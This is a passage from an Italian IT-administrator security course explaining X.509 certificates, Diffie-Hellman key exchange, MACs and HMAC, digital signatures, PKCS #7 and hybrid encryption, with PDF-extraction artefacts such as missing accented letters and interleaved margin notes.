versi rispetto al modello riportato sopra. Oggi il tipo pi co-
mune di certificato digitale conforme allo standard ITU
X.509, versione 3, del 1997, che comprende una serie di
informazioni, la chiave pubblica e una firma digitale appli-
cata dalla CA, con la propria chiave privata, a un hash (o di-
gest) calcolato sui campi precedenti (le informazioni e la
chiave pubblica). In questo modo la CA certifica tutte le
informazioni del certificato e la loro associazione alla chia-
ve pubblica. La gestione delle chiavi e dei certificati X.509
fa parte della PKI (Public Key Infrastructure - infrastruttu-
ra a chiave pubblica, basata su una gerarchia di Certifica-
tion Authority). Uno standard per i certificati, pi semplice
dellX.509, quello dei certificati PGP (Pretty Good Privacy)
citati in precedenza, che non sono firmati da una CA, ma
possono essere firmati da parecchi individui quale atte-
stazione di fiducia.
Distribuzione di chiavi simmetriche tramite chiavi
asimmetriche
Nella sezione 5.2.3.1 (Principi di crittografia asimmetri-
ca) abbiamo mostrato un esempio di distribuzione di una
chiave segreta (simmetrica) tramite crittografia asimme-
trica RSA. Lesempio ci ricorda che la crittografia asimme-
trica lenta e si applica a dati di piccole dimensioni, men-
tre quella simmetrica anche mille volte pi veloce e ac-
cetta dati di qualsiasi lunghezza. La distribuzione delle
chiavi simmetriche non si limita quindi alluso di un centro
di distribuzione, ma pu utilizzare i meccanismi della crit-
tografia asimmetrica, a partire dal primo che stato pub-
blicizzato: lo scambio di chiavi secondo Diffie-Hellmann.
Whitfield Diffie e Martin Hellmann pubblicarono il primo
articolo sui crittosistemi a chiave pubblica (New Direc-
tions in Cryptography) nel 1976, descrivendo un metodo
per stabilire un dato segreto condiviso sulla base dello
scambio dinformazioni non segrete su un canale non si-
curo. Lo scambio di chiavi Diffie-Hellmann non studiato
solo per ragioni storiche; tuttora alla base, per esempio,
del protocollo IKE (Internet Key Exchange) di scambio del-
le chiavi utilizzato da IPSec, la forma pi avanzata di sicu-
rezza a livello IP (IPSec lo standard pi sicuro per le reti
private virtuali o VPN).
Mostriamo brevemente come funziona lo scambio Diffie-
Hellmann. Supponiamo che Alessandro e Bruno siano i par-
tecipanti allo scambio e che, per prima cosa, concordino
sulla scelta di un numero primo p e di un generatore g. Lo
scambio avviene in due parti. Nella prima parte, sia Ales-
sandro sia Bruno scelgono un numero privato casuale, a
per Alessandro e b per Bruno, e lo usano come esponente
nelle espressioni seguenti per produrre un valore pubblico
(A per Alessandro e B per Bruno). Ricordiamo che mod p
(modulo p) indica il resto della divisione per p.
Alessandro Bruno
A=g
a
mod p B=g
b
mod p
www.pcopen.it 33
NOTA: Certificate
Authority o
Certification
Authority?
Nella letteratura, una
CA viene spesso
definita una
Certificate Authority
anzich una
Certification
Authority. Come
fanno rilevare Adams
e Lloyd nel loro
eccellente
Understanding PKI,
ci scorretto
tecnicamente e
logicamente, perch
non esiste una
Certificate Authority
nellX.509 e perch
la CA non ha autorit
sui certificati. Nella
PKI, lautorit sui
certificati una
policy authority (ossia
policy management
authority), mentre
una CA solo lo
strumento che
emette i certificati in
conformit alla
Certificate Policy
(politica dei
certificati) dettata
dalla policy authority.
Anche lautorevole
Digital Signatures
di RSA Press utilizza
la forma Certification
Authority.
www.pcopen.it 34
ITAdministrator - Sicurezza informatica Lezione 2
Ora Alessandro e Bruno si scambiano i valori pubblici:
Alessandro invia A a Bruno e Bruno invia B ad Alessandro.
Alessandro e Bruno elevano a potenza i valori pubblici ri-
cevuti, usando come esponente il proprio valore privato.
Alessandro Bruno
B
a
mod p = g
ab
mod p = A
b
mod p
Il valore ottenuto il segreto condiviso; ora Alessandro
e Bruno possono usarlo per proteggere le loro comunica-
zioni. A e B sono stati trasmessi su una rete insicura senza
nessun rischio per la sicurezza. Neppure g e p hanno biso-
gno di essere tenuti segreti, perch non permettono di sco-
prire il segreto.
Questa versione dello scambio di chiavi vulnerabile al
tipo di attacco chiamato man-in-the-middle (luomo in
mezzo), dove il nemico si presenta ad Alessandro come se
fosse Bruno e a Bruno come se fosse Alessandro, racco-
gliendo e decifrando le informazioni trasmesse. Questa vul-
nerabilit viene eliminata facendo in modo che Alessandro
e Bruno firmino digitalmente i propri valori pubblici, il che
impedisce alluomo in mezzo dingannare Alessandro e
Bruno, come avviene in IKE (Internet Key Exchange). Un ot-
timo riferimento a riguardo IPSec di Nagand Dora-
swamy e Dan Harris (lautore del protocollo IKE).
Questo capitolo ha proposto una serie (non completa)
di spunti sul tema della gestione e distribuzione delle chia-
vi. Come ultimo argomento, citiamo alcuni possibili ap-
procci alla generazione delle chiavi asimmetriche, un
aspetto legato alla loro distribuzione. Abbiamo gi distinto
tra luso di PGP (e delle sue varianti Open Source) e la ge-
nerazione autonoma della coppia di chiavi e il ricorso a una
Certification Authority per la generazione dei certificati e
delle relative chiavi su cui tali certificati si basano. Duran-
te la richiesta di un certificato, la Certification Authority fa
eseguire al computer dellutente la generazione della cop-
pia di chiavi e si prende unicamente la chiave pubblica al
fine di generare il certificato che rilascia contestualmente.
La chiave pubblica viene quindi mantenuta negli archivi
della CA e il proprietario ne dispone di una copia locale as-
sieme alla chiave privata che dovr mantenere segreta, ma-
gari rimuovendola anche dal computer perch la relativa
segretezza costituisce lunica garanzia ai fini dellautenti-
cazione. Nellambito della PKI (infrastruttura a chiave pub-
blica), le coppie di chiavi possono anche essere generate
sul computer della CA, ma tale approccio non viene utiliz-
zato nella pratica poich consente il ripudio, visto che lu-
tente non sarebbe lunico possessore della chiave privata.
Di conseguenza la coppia di chiavi viene sempre generata
sul computer dellutente (per esempio mediante le funzio-
ni del browser) e solo la chiave pubblica viene trasmessa
alla CA o alla RA (Registration Authority, un elemento op-
zionale della PKI a cui la CA pu delegare parte dei propri
compiti). I libri sulla PKI e sulle firme digitali espandono ta-
le argomento, oggetto di discussioni e di varie soluzioni.
Ruolo del software libero nella crittografia
Per software libero (traduzione di free software), sin-
tende software che
1) pu essere liberamente eseguito per qualunque scopo
2) pu essere studiato e adattato da chiunque, data la pub-
blica disponibilit del codice sorgente
3) pu essere liberamente ridistribuito, in modo da aiutare
altri utenti
4) pu essere migliorato e rilasciato al pubblico, cos che
lintera comunit ne tragga beneficio. La definizione
completa di software libero pubblicata nel sito della
Free Software Foundation alla pagina www.fsf.org/licen-
sing/essays/free-sw.html. GNU (pronuncia gutturale co-
me in Wagner), acronimo ricorsivo di GNU is Not Unix,
un esempio di software libero compatibile con Unix e
oggi ampiamente utilizzato nelle varianti GNU/Linux
che utilizzano il kernel (nucleo) di Linux.
Il software libero, grazie alla vitalit delle comunit di
utenti e sviluppatori, ha dato un grosso contributo alla dif-
fusione del software crittografico e allevoluzione delle ca-
ratteristiche di robustezza e prestazioni di tutte le imple-
mentazioni.
La moderna crittografia si basa sul principio gi citato
che preferibile rendere pubblici gli algoritmi e puntare
sulla segretezza e sulle caratteristiche delle chiavi per ot-
tenere il massimo livello di sicurezza. La robustezza di un
crittosistema si basa, in primo luogo, sulla validit dellal-
goritmo (o algoritmi) e sulla lunghezza delle chiavi (altri fat-
tori in gioco sono, ad esempio, la qualit e la correttezza
dellimplementazione e lefficacia della gestione delle chia-
vi). Se lalgoritmo robusto, basta utilizzare chiavi abba-
stanza lunghe per dilatare a piacere (anche trilioni danni)
il tempo presumibilmente necessario per ricostruire una
chiave o comunque violare lalgoritmo.
Vista la complessit e la delicatezza del software critto-
grafico, dove un errore pu sfuggire pi facilmente che nel-
le normali implementazioni, la disponibilit delle specifiche
degli algoritmi ha consentito un ampio studio dei loro pro
e contro e la nascita di numerosi progetti open source e re-
lative implementazioni. Il confronto tra diverse implemen-
tazioni, la partecipazione di esperti e lutilizzo da parte di
un esercito di utenti che non sarebbe stato raggiungibile
dal software a pagamento, ha permesso a tali progetti di
produrre software di qualit eccellente. Anche le aziende
private hanno contribuito allo sviluppo di tale software,
rendendo disponibili implementazioni di riferimento e an-
teponendo i benefici derivanti dalla qualit dei sorgenti,
ampiamente diffusi, al possibile inconveniente del riutiliz-
zo da parte di terzi, che caratterizza il software libero. Inol-
tre, lampia diffusione e lassenza di barriere artificiali ha
permesso ai produttori di software crittografico di esegui-
re test dinteroperabilit dei loro prodotti a costo pi bas-
so e con la necessit di eseguire meno test con i concor-
renti, potenzialmente dispendiosi in termini di tempo e di
energie.
Perci il software libero non va inteso come software
gratuito, anche se pu esserlo; talvolta il software libero,
anche nella crittografia, fornisce maggiori garanzie rispet-
to al software commerciale. La disponibilit dei sorgenti
permette agli utenti che dispongono delle competenze ne-
cessarie di accertarsi che il software sia ben realizzato, im-
plementi fedelmente le specifiche e non nasconda qualche
backdoor.
Una lista non completa, ma significativa di progetti free
software in corso la seguente.
- Progetto OpenSSL (www.openssl.org): si basa sullec-
cellente libreria software SSLeay sviluppata da Eric Young
e Tim Hudson e mette a disposizione unimplementazione
molto robusta dei protocolli SSLv2 e SSLv3 (http://wp.net-
scape.com/eng/ssl3/) e TSLv1 (RFC 2246) e una libreria di
funzioni crittografiche di uso generale, utilizzate sia da al-
tri progetti open source sia da applicazioni software com-
merciali.
- OpenCA Labs (ex Progetto OpenCA, www.openca.org):
unorganizzazione aperta avente lo scopo di studiare e
sviluppare progetti relativi alla PKI. Il progetto originale
stato suddiviso in unit pi piccole per accelerare e meglio
organizzare gli sforzi. Il progetto OpenCA di sviluppo di una
PKI uno sforzo collaborativo per sviluppare una Certifi-
cation Authority open source attraverso luso dei proto-
colli crittografici pi robusti e ampiamente accettati. Open-
CA si basa su diversi progetti open source, come OpenL-
DAP, OpenSSL, Apache e Apache mod_ssl.
- Progetti Open Source PKI Mozilla
(www.mozilla.org/projects/security/pki): librerie critto-
grafiche per lo sviluppo di applicazioni, tra cui Network Se-
curity Services (NSS), Network Security Services for Java
(JSS), Personal Security Manager (PSM) e PKCS #11 Confor-
5.2.5.4 conoscere il
ruolo giocato
dall'open source nel
garantire la
robustezza e la
disponibilit della
crittografia
Lezione 2 IT Administrator - Sicurezza informatica
mance Testing. Gli obiettivi generali di questi progetti sono:
migliorare la qualit, scalabilit e set di funzionalit del co-
dice usato per creare prodotti PKI, incoraggiare lo svilup-
po di applicazioni PKI, migliorare la fiducia nel software di
sicurezza e accelerare la crescita di una piattaforma di si-
curezza basata sugli standard per le-commerce e per In-
ternet.
- Progetto OpenLDAP (www.openldap.org): unimple-
mentazione open source completa di un server LDAP (Li-
ghtweight Directory Access Protocol) e dei relativi stru-
menti di sviluppo. Pur non essendo software crittografico
in senso stretto, un componente di base delle infrastrut-
ture a chiave pubblica.
- Progetto MUSCLE (www.linuxnet.com/): librerie per il
supporto crittografico e smartcard per i sistemi operativi
della famiglia Unix/Linux e Mac OS X. MUSCLE significa Mo-
vement for the Use of Smart Cards in a Linux Environment.
- GnuPG (GNU Privacy Guard, www.gnupg.org): un
completo sostituto (libero) del commerciale PGP, che non
usa algoritmi brevettati ed stato riscritto per essere di-
stribuito con licenza GPL. E una completa implementazio-
ne di OpenPGP (RFC 2440) e pu utilizzare gli algoritmi di
cifratura ed hash ElGamal, DSA, RSA, AES, 3DES, Blowfish,
Twofish, CAST5, MD5, SHA-1, RIPEMD-160 e TIGER. Di per
s, GnuPG uno strumento a linea di comando; pu esse-
re utilizzato dalla linea di comando, da script di shell o da
altri programmi, come i front-end grafici disponibili per
Windows e per Linux.
Uso della crittografia
Come anticipato nei capitoli precedenti, una delle ap-
plicazioni delle tecniche crittografiche a un dato, un docu-
mento oppure un messaggio, consiste nellaccertarne la
provenienza, verificandone lautenticit.
Una tecnica semplice, applicabile ai rapporti bilaterali
tra due interlocutori, luso di una chiave segreta. Le due
parti concordano luso di un algoritmo simmetrico e stabi-
liscono una chiave segreta, che pu essere comunicata di
persona o inviata in modo sicuro (la chiave dovrebbe es-
sere modificata di frequente).
Il mittente pu cifrare lintero messaggio con la chiave
segreta e inviarlo al destinatario. Costui lo decifra e, sicu-
ro che la chiave non sia nota ad alcun estraneo, deduce che
il messaggio proviene effettivamente dal mittente appa-
rente. In tal caso, visto che il messaggio cifrato, viene as-
sicurata sia lautenticit sia la riservatezza.
Se peraltro il messaggio non fosse confidenziale e ci ba-
stasse garantirne lautenticit, anzich cifrare lintero mes-
saggio, potremmo utilizzare un MAC (Message Authenti-
cation Code). Nel capitolo sulle funzioni hash abbiamo vi-
sto che si pu calcolare un hash (o digest), tipicamente di
128 o 160 bit, sul messaggio a cui stata aggiunta la chiave
segreta, dopo di che si spedisce il messaggio pi lhash. Ta-
le hash prende il nome di MAC (codice di autenticazione
del messaggio) perch consente al destinatario di appura-
re se il messaggio autentico, cio proveniente dal mit-
tente dichiarato. Nellipotesi che la chiave sia nota solo al-
le due controparti (basata unicamente sulla fiducia), nes-
sun altro potrebbe impersonare il mittente o modificarne
un messaggio senza farsi scoprire dal destinatario. Que-
stultimo ricalcola lhash sul messaggio pi la chiave e lo
confronta con il MAC ricevuto; se sono uguali, il messaggio
autentico e integro.
Vista lefficienza con cui si calcola un MAC e la compat-
tezza tanto del MAC quanto della chiave segreta, la tecnica
pu essere utilizzata anche su dispositivi con risorse e me-
moria limitate, come le smartcard (in teoria si chiamano
Smart Card, semplificato poi a smart card e, nelluso co-
mune, a smartcard).
Un limite del MAC il suo carattere bilaterale, che non
lo rende estendibile a pi interlocutori. Se da un lato due in-
terlocutori sono pochi, dallaltro sono troppi: un altro li-
mite del MAC che la chiave segreta non associata a un
singolo proprietario, quindi in caso di controversia non
facile appurare le responsabilit. Quando il proprietario
della chiave un programma, anzich una persona, la so-
luzione usare chiavi simmetriche di sessione generate in
modo casuale e di breve durata.
Una tecnica di autenticazione pi efficace consiste nel-
lutilizzo della crittografia a chiave pubblica, vale a dire nel-
luso di algoritmi a chiavi asimmetriche. Il mittente cifra il
dato di cui vuole garantire lautenticit con la propria chia-
ve privata. Chiunque potr decifrarlo con la chiave pub-
blica del mittente, accertandone la provenienza (nessun al-
tro pu usare la sua chiave privata). Tale meccanismo vie-
ne utilizzato per la firma digitale, che essenzialmente un
hash calcolato sul messaggio e cifrato con la chiave priva-
ta del mittente (la firma digitale trattata in una delle pros-
sime lezioni).
Hashing per garantire integrit e autenticazione
Le funzioni hash sono diventate uno dei componenti di
base dei crittosistemi sia simmetrici, sia asimmetrici. Negli
esempi precedenti abbiamo visto che lhashing pu essere
usato in due modi: 1) per produrre un dato di lunghezza
breve e limitata (lhash o digest), ricavato da un input di
lunghezza variabile e 2) per produrre lhash sulla base del
messaggio e di una chiave segreta condivisa tra due inter-
locutori.
Nel primo caso, la funzione di hash si chiama one-way
hash function perch produce una trasformazione a senso
unico, dove a N possibili input corrisponde un output, da
cui non possibile risalire allinput. La corrispondenza N:1
deriva dal fatto che i possibili input sono praticamente illi-
mitati, mentre i possibili valori di output sono 2L, dove L
la lunghezza dellhash (per esempio 128 o 160 bit).
Nel secondo caso il codice di hash viene chiamato MAC
(codice di autenticazione del messaggio) e la tecnica di far
dipendere lhash dal messaggio e da una chiave segreta vie-
ne chiamata keyed hashing.
Il keyed hashing viene usato nella crittografia simmetri-
ca per produrre i codici MAC utilizzati per autenticare i
messaggi e garantirne lintegrit: solo i due interlocutori
posseggono la chiave segreta (solitamente una session key
di breve durata) e qualsiasi modifica al messaggio sarebbe
scoperta dal mittente nel ricalcolare il MAC e nel confron-
tarlo con il MAC ricevuto.
La variante HMAC descritta nel capitolo 5.2.4.1 (Princi-
pi di hashing), pi sicura di un semplice MAC, viene cor-
rentemente usata in molte applicazioni di sicurezza per la
protezione delle comunicazioni su reti TCP/IP (Internet e
reti locali).
Lhashing one-way viene usato nella crittografia asim-
metrica per produrre le firme digitali (ad esempio con gli al-
goritmi RSA o DSA), anche in questo caso per assicurare
lautenticit e lintegrit dei dati trasmessi o archiviati.
In pratica, lautenticazione viene eseguita tramite HMAC
o tramite firme digitali, ma in entrambi i casi si usano i me-
desimi algoritmi di hashing, come MD5 e SHA1. Spesso le
due forme di cifratura, simmetrica e asimmetrica, vengono
impiegate contemporaneamente. Per esempio, SSL utilizza
i certificati a chiave pubblica per la fase di autenticazione
iniziale (almeno del server, in opzione anche del client, che
normalmente un browser) e utilizza gli HMAC sia nella fa-
se di handshaking (scambio di chiavi e accordo sui cifrari
da usare) sia durante la trasmissione del messaggio per ga-
rantirne la riservatezza e lintegrit.
Schemi ibridi analoghi si trovano, ad esempio, nei pro-
www.pcopen.it 35
5.2.6.2 essere
consapevoli dell'uso
di hashing e digest
nel garantire integrit
e autenticazione
5.2.6. Uso della
crittografia
5.2.6.1 conoscere
come utilizzare i
meccanismi della
crittografia per
ottenere
autenticazione.
ITAdministrator - Sicurezza informatica Lezione 2
tocolli IPSec (sicurezza allo strato di rete) e SHTTP (sicu-
rezza allo strato applicativo), con autenticazione dei com-
puter tramite certificato e autenticazione dei messaggi tra-
mite HMAC.
Nellautenticazione dei messaggi di posta elettronica, la
crittografia asimmetrica viene usata per firmare digital-
mente il messaggio, vale a dire per cifrare un hash del mes-
saggio con la chiave privata del mittente.
Autenticazione e non ripudio mediante firma
digitale
I cifrari asimmetrici e gli algoritmi di hashing permetto-
no di verificare lautenticit e lintegrit di un messaggio at-
traverso una firma digitale. Prima di scendere in maggior
dettaglio, vediamo quali sono i requisiti di una firma e se la
firma digitale equivale a una firma autografa.
Una firma autografa serve, principalmente, a fornire cer-
tezza legale e commerciale riguardo: 1) lintenzione e lim-
pegno a realizzare quanto stipulato, 2) lautenticit del do-
cumento, che le firme legano ai firmatari, e 3) lapprova-
zione o lautorizzazione (la firma testimonia che i firmata-
ri hanno letto e approvato il documento). Altri aspetti ri-
guardano la sicurezza di una transazione e laspetto ceri-
moniale (la firma avverte che si sta prendendo un impegno
vincolante e suggerisce al firmatario di ponderare sul do-
cumento e prendere consapevolezza del suo significato e
delle conseguenze, prima di firmarlo).
Una firma devessere difficile da falsificare, non ripudia-
bile (non pu essere cancellata o disconosciuta), inaltera-
bile (dopo lapposizione della firma, non deve essere pos-
sibile modificare il documento) e non trasferibile (da un do-
cumento a un altro).
Il presupposto per la validit delle firme che le chiavi
private siano tenute al sicuro e che i titolari siano respon-
sabili del loro utilizzo fino al momento di uneventuale de-
nuncia di furto o smarrimento. Limpiego del timestamp
nelle firme necessario affinch una successiva compro-
missione (anche volontaria) delle chiavi segrete non porti
allinvalidazione di tutti i documenti firmati, precedenti al-
la compromissione stessa. Ci significa che, se le chiavi e i
digest hanno lunghezza adeguata, la firma pressoch im-
possibile da falsificare e lega il documento al firmatario,
che non potr ripudiare il documento firmato. Dato che la
firma dipende dal contenuto del documento, lintegrit
assicurata. Un documento cartaceo firmato potrebbe es-
sere alterato con maggiori probabilit di successo di quan-
to avvenga per un documento digitale. Per lo stesso moti-
vo, la firma non trasferibile a un altro documento, visto
che strettamente legata al contenuto del documento, a
differenza di una firma autografa che ha sempre lo stesso
aspetto.
Come abbiamo visto, la firma digitale si basa sulla cifra-
tura asimmetrica di un hash o digest calcolato sul conte-
nuto del documento o messaggio. Lhash costituisce unim-
pronta del documento: assai improbabile che documen-
ti diversi producano lo stesso hash, cos com pressoch
impossibile creare un documento capace di produrre un
certo hash. Gli algoritmi di hash pi usati sono MD5 e SHA-
1, questultimo preferibile perch pi sicuro.
La firma viene ottenuta cifrando lhash con un algoritmo
asimmetrico e utilizzando la chiave privata del firmatario.
I cifrari pi utilizzati sono il commerciale RSA o il pubblico
DSA che, insieme a SHA-1, fa parte dello standard DSS di fir-
ma digitale definito dal governo degli Stati Uniti.
Laffidabilit di un sistema di firma digitale dipende da
vari fattori: la robustezza degli algoritmi di hash e cifratu-
ra, la dimensione delle chiavi e degli hash, il livello di pro-
tezione con cui gestita (creata, trasmessa, custodita) la
chiave privata e il grado di certezza che la chiave pubblica
sia autentica, cio appartenga al firmatario del documento.
Se la chiave pubblica viene sostituita, lintero sistema
compromesso, visto che si pu firmare qualunque cosa
con la chiave privata corrispondente alla falsa chiave pub-
blica.
La verifica della firma digitale consiste di tre passi: 1) si
decifra la firma utilizzando la chiave pubblica del firmata-
rio, ricostruendo lhash originale del messaggio, 2) si cal-
cola lhash sul contenuto del messaggio (utilizzando lo
stesso algoritmo usato dal mittente), 3) si confrontano i
due hash, quello della firma e quello ricalcolato: se coinci-
dono, significa che il messaggio non stato alterato e che
la chiave privata con cui stato firmato il documento ap-
partiene allo stesso proprietario della chiave pubblica con
cui stata decifrata la firma.
Dato che per ogni chiave pubblica esiste una sola chia-
ve privata, la verifica di una firma digitale assicura che chi
ha firmato il documento il possessore della chiave priva-
ta. Perch la firma non possa essere ripudiata, occorre sod-
disfare una serie di condizioni. Le principali sono lasso-
ciazione certa tra il firmatario e la sua chiave pubblica, la
custodia sicura della chiave privata e lutilizzo da parte del
firmatario di un software che consenta la visualizzazione
del documento allatto della firma, in modo da avere la cer-
tezza del contenuto.
Il ruolo di una struttura
nelluso della firma digitale
Abbiamo visto le tecniche e gli algoritmi che si possono
utilizzare per garantire lautenticazione, lintegrit, la ri-
servatezza e il non ripudio nello scambio di messaggi at-
traverso un canale di comunicazione non sicuro. Inoltre ab-
biamo notato lesigenza di soddisfare una serie di requisi-
ti affinch sia possibile utilizzare queste tecnologie e affin-
ch esse permettano di raggiungere gli obiettivi di sicurez-
za.
Facciamo un esempio applicato alla posta elettronica,
chiedendoci in che modo il destinatario di un messaggio
possa essere certo dellidentit del mittente. Supponiamo
che il mittente apponga la firma digitale al messaggio nel
modo visto sopra (hashing pi cifratura asimmetrica). Per-
ch il destinatario possa verificare la validit della firma,
necessario che 1) egli possa procurarsi la chiave pubblica
del mittente in modo sicuro, 2) conosca il formato dei dati
e 3) conosca gli algoritmi utilizzati per la composizione e la
firma del messaggio.
www.pcopen.it 36
5.2.6.3 Conoscere i
principali aspetti
della firma
elettronica nel
garantire il non-
ripudio e
l'autenticazione
Procedura per la
creazione di una firma
digitale
Verifica di validit della
firma digitale
Lezione 2 IT Administrator - Sicurezza informatica
Per soddisfare queste condizioni, possibile introdurre
una struttura comune (condivisa da una comunit di uten-
ti) che consenta alle entit che devono comunicare (come
utenti e processi) dinteroperare con successo. In partico-
lare, si pu risolvere il problema della distribuzione sicura
delle chiavi ricorrendo a una struttura gerarchica, la gi ci-
tata Certification Authority (CA), che si faccia garante del-
lidentit di tutte le entit titolari di una chiave pubblica (e
privata). Inoltre, i messaggi e i protocolli di comunicazione
devono essere conformi a determinati standard, indipen-
denti dal sistema operativo, dal software applicativo e da
qualsiasi peculiarit del sistema utilizzato.
La CA garantisce le chiavi pubbliche delle entit del
proprio dominio mediante lemissione dei certificati digi-
tali in formato standard, contenenti:
1) una serie dinformazioni, tra cui il nome del titolare
del certificato, la sua chiave pubblica, il periodo di validit
del certificato e altre informazioni che concorrono a iden-
tificare il titolare e lautorit che emette il certificato; 2) la
firma digitale, apposta alle suddette informazioni utiliz-
zando la chiave privata della CA.
Tutte le entit che fanno parte del dominio (o dominio
di trust) della CA devono ricevere in modo sicuro la chia-
ve pubblica della CA, in modo da poter verificare la validit
di qualunque certificato del proprio dominio. Nel contesto
di una struttura che faccia uso delle CA per lemissione dei
certificati e la generazione delle chiavi asimmetriche, il for-
mato dei certificati per le chiavi pubbliche definito dalla
norma ITU X.509 Versione 3. Lutilizzo di PGP per la cifra-
tura e firma dei messaggi di e-mail alternativo alluso di
una CA ed orientato a comunit limitate dindividui in
rapporto di reciproca fiducia. Pu utilizzare i certificati, ma
essi hanno un formato diverso dallX.509. Nel campo delle
imprese e delle pubbliche istituzioni, vengono usate le CA
e i certificati nellambito di una PKI (infrastruttura a chiavi
pubbliche). Rimandiamo a una sezione successiva (5.2.7.3)
la spiegazione in dettaglio del funzionamento di PGP.
Il formato con cui sono codificati i messaggi creati con
la cifratura asimmetrica definito dallo standard PKCS #7
Cryptographic Message Syntax (CMS). PKCS significa Pu-
blic Key Cryptographic Standard e comprende unintera se-
rie di standard che hanno lobiettivo di agevolare limple-
mentazione delle tecnologie PKI (per esempio, PKCS #1 de-
scrive lo standard di cifratura RSA). PKCS #7 specifica i for-
mati binari usati per la firma digitale e per la busta elet-
tronica. Una busta elettronica (digital envelope) consiste
di un messaggio che usa la cifratura simmetrica a chiave se-
greta e una chiave segreta cifrata in modo asimmetrico (co-
me nellesempio del capitolo 5.2.3.1 - Principi di crittogra-
fia asimmetrica). Qualunque messaggio formattato con
CMS pu essere incapsulato dentro un altro messaggio
CMS, applicando ricorsivamente la busta elettronica. Ci
permette agli utenti di firmare una busta digitale, di cifrare
una firma digitale o di eseguire varie altre funzioni. Lo stan-
dard PKCS #7 stato adottato dallIETF nella RFC 2315, ag-
giornata dalla RFC 2630.
Altre propriet del formato CMS sono: 1) gestisce la fir-
ma congiunta di pi firmatari, 2) gestisce la firma per un nu-
mero arbitrario di destinatari, 3) consente di aggiungere at-
tributi firmati al messaggio, come la data e lora della firma,
4) consente di allegare al messaggio i certificati dei firma-
tari, agevolando la verifica della firma, 5) include gli iden-
tificatori degli algoritmi crittografici utilizzati e gli elemen-
ti che facilitano la decifratura e la verifica della firma.
Uso della crittografia
per ottenere la riservatezza
Come abbiamo visto nei capitoli precedenti, la riserva-
tezza (o confidenzialit) viene ottenuta cifrando i dati, i
messaggi o i documenti da archiviare o da trasmettere. A
seconda delle applicazioni, si utilizzano cifrari simmetrici
(a chiave segreta) o asimmetrici (con chiave privata e chia-
ve pubblica). I cifrari simmetrici possono essere applicati
a dati di dimensioni illimitate, mentre quelli asimmetrici
funzionano per input di poche decine di byte.
Un cifrario simmetrico richiede che due interlocutori
(persone o componenti hardware/software) concordino
sulluso di un algoritmo e scelgano una chiave segreta da
usare per cifratura e decifratura. Il mittente cifra il mes-
saggio e lo trasmette; il destinatario decifra il messaggio
con la stessa chiave usata dal mittente e ripristina il con-
tenuto in chiaro.
Unaltra possibilit utilizzare un programma separato
per la cifratura e decifratura dei file e inviare i dati cifrati co-
me allegati. Ci sono applicazioni di questo tipo sia per uten-
ti finali sia per utenti pi esperti che vogliono controllare
lalgoritmo usato e la lunghezza della chiave.
La crittografia simmetrica semplice da usare ed effi-
ciente, ma presenta il problema della gestione delle chiavi,
che devono essere diverse per ogni coppia dinterlocutori
e devono essere sostituite di frequente.
Se si utilizza la crittografia asimmetrica, ogni interlocu-
tore possiede due chiavi: custodisce al sicuro la chiave pri-
vata e mette a disposizione di chiunque la chiave pubblica.
Il mittente si procura la chiave pubblica del destinatario, la
usa per cifrare il messaggio tramite un cifrario asimmetri-
co e invia il messaggio cifrato. Il destinatario decifra il mes-
saggio usando lo stesso cifrario e la sua chiave privata. In
tal modo, si risolve un problema di distribuzione delle chia-
vi, ma se ne creano altri due: i cifrari asimmetrici sono mol-
to lenti e possono ricevere in input dati molto brevi, perci
debbono lavorare cifrando il messaggio in blocchi il che ral-
lenta ulteriormente le operazioni .
La soluzione sta nellutilizzo contemporaneo dei due ti-
pi di crittografia: asimmetrica per gestire lo scambio delle
chiavi e simmetrica per cifrare i messaggi. La procedura
la seguente:
1) si sceglie un algoritmo simmetrico e uno asimmetrico
2) il mittente si procura la chiave pubblica del destinatario
3) il mittente genera in modo casuale una chiave segreta
appropriata
4) il mittente cifra il messaggio utilizzando la chiave segre-
ta
5) il mittente cifra la chiave segreta utilizzando la chiave
pubblica del destinatario
6) il mittente invia al destinatario il messaggio cifrato e la
chiave segreta cifrata, insieme alle informazioni neces-
sarie per la decifratura
7) il destinatario decifra la chiave segreta utilizzando la pro-
pria chiave privata
8) il destinatario decifra il messaggio utilizzando la chiave
segreta.
Tale meccanismo comunemente usato dalle applica-
zioni di comunicazione sicura su Internet, come i client di
posta elettronica, e dai protocolli di trasmissione sicura,
www.pcopen.it 37
5.2.6.4 Conoscere i
principi e le principali
caratteristiche della
cifratura nel garantire
la confidenzialit
Uso della crittografia
asimmetrica per gestire lo
scambio delle chiavi e
simmetrica per cifrare i
messaggi (immagini da 1
a 7)
1
2
ITAdministrator - Sicurezza informatica Lezione 2
come SSL (Secure Sockets Layer). In questultimo caso, il
protocollo opera allo strato di trasporto (sopra il TCP),
quindi non protegge singoli messaggi, ma tutti i dati tra-
smessi nellambito di una connessione Internet.
Le tecniche per ottenere la riservatezza delle informa-
zioni sono utilizzabili anche per la privacy delle informa-
zioni archiviate, in modo che non siano accessibili da estra-
nei. In tal caso si utilizzano solitamente algoritmi simme-
trici; dato che mittente e destinatario coincidono, non c
il problema della trasmissione della chiave segreta, suffi-
ciente che lutente scelga una chiave abbastanza lunga e
complessa e la tenga al sicuro. Tra gli esempi citiamo lEn-
cryption File System di Windows XP (per cifrare file e car-
telle) e applicazioni stand-alone come Axcrypt (http://ax-
crypt.sourceforge.net/), che utilizza AES con chiavi di 128
bit ed particolarmente comodo da usare.
A parte le applicazioni specificamente crittografiche, i
programmi di office automation e le utility di archiviazione
e compressione offrono solitamente opzioni di protezione
dei dati tramite password, generalmente realizzate con crit-
tografia simmetrica.
Tale crittografia viene spesso implementata con un
semplice XOR e assicura un livello di protezione del tutto
insufficiente, valido unicamente a difendersi dagli incom-
petenti, ma non certo per bloccare persone determinate a
violarla (nemmeno se queste sono semplici utenti).
Tuttavia, non sempre documentano lalgoritmo usato, il
quale rischia di non essere abbastanza robusto per pro-
teggere dati importanti. Per garantire la riservatezza, ne-
cessario che lalgoritmo sia robusto (come 3DES e AES),
che la chiave sia di lunghezza adeguata (per esempio 128
bit) e che il suo valore sia non prevedibile e sia mantenuto
segreto.
Applicazioni
Un vasto campo di applicazione delle misure di prote-
zione crittografiche quello degli affari e della pubblica am-
ministrazione. La possibilit di eseguire transazioni da ca-
sa e ufficio attraverso Internet ha portato in primo piano
lesigenza di utilizzare meccanismi di sicurezza adeguati.
Consideriamo lutilizzo di Internet per accedere ai servizi
bancari online (conti correnti, pagamenti, investimenti,
ecc.) e per eseguire operazioni di acquisto e vendita online.
Indipendente dalle reali implementazioni, possiamo svi-
luppare alcune considerazioni.
Le operazioni di e-banking e di e-commerce che un uten-
te pu eseguire on-line sono di due tipi:
